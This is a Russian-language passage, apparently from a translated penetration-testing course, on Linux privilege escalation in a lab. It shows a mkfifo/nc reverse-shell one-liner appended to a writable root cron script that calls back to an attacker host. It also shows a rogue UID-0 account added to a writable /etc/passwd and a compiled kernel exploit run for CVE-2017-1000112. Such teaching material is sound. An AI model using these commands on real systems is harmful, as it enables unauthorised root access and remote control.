Jan27 17:45:01 victim CRON[2615]:(root) CMD (cd /var/scripts/ && ./user_backups.sh)
Jan27 17:50:01 victim CRON[2631]:(root) CMD (cd /var/scripts/ && ./user_backups.sh)
Jan27 17:55:01 victim CRON[2656]:(root) CMD (cd /var/scripts/ && ./user_backups.sh)
Jan27 18:00:01 victim CRON[2671]:(root) CMD (cd /var/scripts/ && ./user_backups.sh)
Листинг 69 - Проверкуа лог-файла cron
Похоже, что скрипт с именем user_backups.sh под /var/scripts/ выполняется в контексте пользователя root. Судя по временным меткам, видно, что эта работа выполняется раз в пять минут.
Так как известно расположение скрипта, можно проверить его содержимое и права доступа.
Код:
student@debian:~$ cat /var/scripts/user_backups.sh
#!/bin/bash
cp -rf /home/student/ /var/backups/student/
student@debian:~$ ls -lah /var/scripts/user_backups.sh
-rwxrwxrw- 1 root root 52 ian 27 17:02 /var/scripts/user_backups.sh
Листинг 70 - Содержимое и права доступа скрипта user_backups.sh
Сам сценарий довольно прост: он просто копирует домашний каталог пользователя student (home) в подкаталог резервного копирования (backups).
Ссылка скрыта от гостей
сценария показывают, что любой локальный пользователь может записывать в файл.Поскольку непривилегированный пользователь может изменять содержимое скрипта резервного копирования, мы можем отредактировать его и добавить однострочный
Ссылка скрыта от гостей
. Если наш план сработает, то мы должны получить реверс-шелл на атакующей машине не позже, чем через пять минут.
Код:
student@debian:/var/scripts$ echo >> user_backup.sh
student@debian:/var/scripts$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|
nc 10.11.0.4 1234 >/tmp/f" >> user_backups.sh
student@debian:/var/scripts$ cat user_backups.sh
#!/bin/bash
cp -rf /home/student/ /var/backups/student/
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.0.4 1234 >/tmp/f
Листинг 71 - Добавление однострочного реверс-шелла в user_backups.sh
Все, что нужно сделать сейчас, это настроить листнер (listener) на нашей машине Kali Linux и ждать выполнения задания cron:
Код:
kali@kali:~$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.11.0.4] from (UNKNOWN) [10.11.0.128] 43172
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
#
Листинг 71 - Получение шелла с правами root на нашей цели
Как показано в предыдущем листинге, задача cron выполнилась, как и сработал наш однострочный реверс-шелл. Привилегии были успешно повышены и получен доступ к шеллу с правами root.
Зачастую администраторы чаще сосредоточены на работе со специфическим синтаксисом cron, нежели на защите прав доступа к скриптам.
Небезопасные права доступа к файлу: изучение примера /etc/passwd
Если не используется централизованная система авторизации, такая как Active Directory или LDAP, пароли Linux обычно хранятся в /etc/shadow, который не доступен для чтения обычным пользователям. Исторически хэши паролей, наряду с другой информацией об учетных записях, хранились в файле, доступном всем для чтения /etc/passwd. Для обратной совместимости сделано так, что если хэш пароля присутствует во втором столбце записи пользователя /etc/passwd, он считается действительным для аутентификации и имеет приоритет над соответствующей записью в /etc/shadow, если она доступна. Это означает, что если получится записать в файл /etc/passwd, то сможем установить произвольный пароль для любой учетной записи.
Продемонстрируем это. В предыдущем разделе было показано, что наш клиент Debian может быть уязвим к повышению привилегий из-за того, что права доступа /etc/passwd были установлены неправильно. Для повышения привилегий добавим ещё одного суперпользователя (root2) и соответствующий хэш пароля в файл /etc/passwd. Сначала сгенерируем хэш пароля с помощью openssl и аргумента passwd. По умолчанию, если другая опция не указана, openssl сгенерирует хэш, используя
Ссылка скрыта от гостей
, который является поддерживаемым механизмом хэширования для аутентификации в Linux. Как только получим сгенерированный хэш, добавим строку в /etc/passwd, используя соответствующий формат:
Код:
student@debian:~$ openssl passwd evil
AK24fcSx2Il3I
student@debian:~$ echo "root2:AK24fcSx2Il3I:0:0:root:/root:/bin/bash" >> /etc/passwd
student@debian:~$ su root2
Password: evil
root@debian:/home/student# id
uid=0(root) gid=0(root) groups=0(root)
Листинг 72 - Повышение привилегий путем редактирования /etc/passwd
Как показано в Листинге 72, за пользователем "root2" и хэшем пароля в нашей записи /etc/passwd следуют ноль идентификатора пользователя (UID) и ноль идентификатора группы (GID). Эти нулевые значения указывают на то, что созданная нами учетная запись является учетной записью суперпользователя в Linux. Наконец, для проверки того, что наши изменения были сделаны, мы использовали команду su для переключения нашего стандартного пользователя на вновь созданную учетную запись root2 и выполнили команду id, чтобы показать, что мы действительно имеем привилегии root.
Уязвимости ядра: изучение примера CVE-2017-1000112
Эксплойты ядра - отличный способ повышения привилегий, но успех может зависеть не только от соответствия версии ядра цели, но и от особенностей конкретной операционной системы, например, Debian, Redhat, Gentoo и так далее.
Чтобы продемонстрировать этот вектор атаки, сначала соберем информацию о цели, изучив файл /etc/issue. Как обсуждалось ранее в главе, это системный текстовый файл, который содержит сообщение или идентификатор системы, который должен быть выведена на экран перед запросом входа на машинах под управлением Linux.
Код:
n00b@victim:~$ cat /etc/issue
Ubuntu 16.04.3 LTS \n \l
Листинг 73 - Получение основной информации на целевой системе
Далее мы проверим версию ядра и архитектуру системы с помощью стандартных системных команд:
Код:
n00b@victim:~$ uname -r
4.8.0-58-generic
n00b@victim:~$ arch
x86_64
Листинг 74 - Получение информации о версии ядра и архитектуре на нашей Linux целиШ
Похоже, что целевая система работает под управлением Ubuntu 16.04.3 LTS (ядро 4.8.0-58-generic) на архитектуре x86_64. Вооружившись этой информацией, можно использовать searchsploit на локальной системе Кали для поиска эксплойтов ядра, соответствующих версии целевой системы.
Код:
kali@kali:~$ searchsploit linux kernel ubuntu 16.04
-------------------------------------------------------- -----------------------------
Exploit Title | Path (/usr/share/exploitdb/
-------------------------------------------------------- -----------------------------
Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04 | exploits/linux_x86-64/local/
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.0 | exploits/linux_x86/local/422
Linux Kernel (Ubuntu 16.04) - Reference Count Overflow | exploits/linux/dos/39773.txt
Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Local Privilege | exploits/linux/local/40759.r
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PA | exploits/linux_x86-64/local/
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter ta | exploits/linux_x86-64/local/
Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' b | exploits/linux/local/39772.t
Linux Kernel 4.6.2 (Ubuntu 16.04.1) - 'IP6T_SO_SET_REPL | exploits/linux/local/40489.t
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.0 | exploits/linux/local/43418.c
---------------------------------------------------------- ---------------------------
Листинг 75 - Использование searchsploit для поиска эксплоита повышения привилегий для нашей цели
Последний эксплойт (exploits/linux/local/43418.c), кажется, напрямую соответствует версии ядра, которую использует наша цель. Попытаемся повысить привилегии, запустив этот эксплойт на цели.
Компилирование кода C/C++ в Linux
Будем использовать
Ссылка скрыта от гостей
на Linux для компиляции эксплойта. Имейте в виду, что при компиляции кода, необходимо соответствовать архитектуре цели. Это особенно важно в ситуациях, когда целевая машина не имеет компилятора и приходится компилировать эксплойт на атакующей машине или в песочнице, которая идентична целевой ОС и архитектуре.В данном примере нам повезло, что целевая машина имеет работающий компилятор, но это редкость.
Скопируем файл эксплойта на целевую машину и скомпилируем его, передав только файл с исходным кодом и -o для указания имени выходного файла (exploit):
Код:
n00b@victim:~$ gcc 43418.c -o exploit
n00b@victim:~$ ls -lah exploit
total 36K
-rwxr-xr-x 1 kali kali 28K Jan 27 04:04 exploit
Листинг 76 - Компилирование эксплоита, взятого в локальном архиве Exploit Database на Linux, с использованием gcc
После компиляции данного эксплоита на целевой машине, можно запустить его и затем выполнить whoami для проверки уровня привилегий:
Рисунок 19: Повышение привилегий на Linux с использованием эксплоита
На Рисунке 19 показано, что привилегии были успешно повышены с n00b (стандартный пользователь) до root, учетной записи с самыми высокими привилегиями в операционных системах Linux.
Заключение
В этой главе были рассмотрены концепции повышения привилегий как на операционных системах Windows и Linux, так и на различных архитектурах. Также рассмотрели как ручные, так и автоматизированные методы сбора данных, которые раскрывают необходимую информацию для этих типов атак. Кроме того, продемонстрированы процесс компиляции для обеих операционных систем, продемонстрированы несколько атак с повышением привилегий, а также различные повышения привилегий, не требующие уязвимости программного обеспечения.
Последнее редактирование: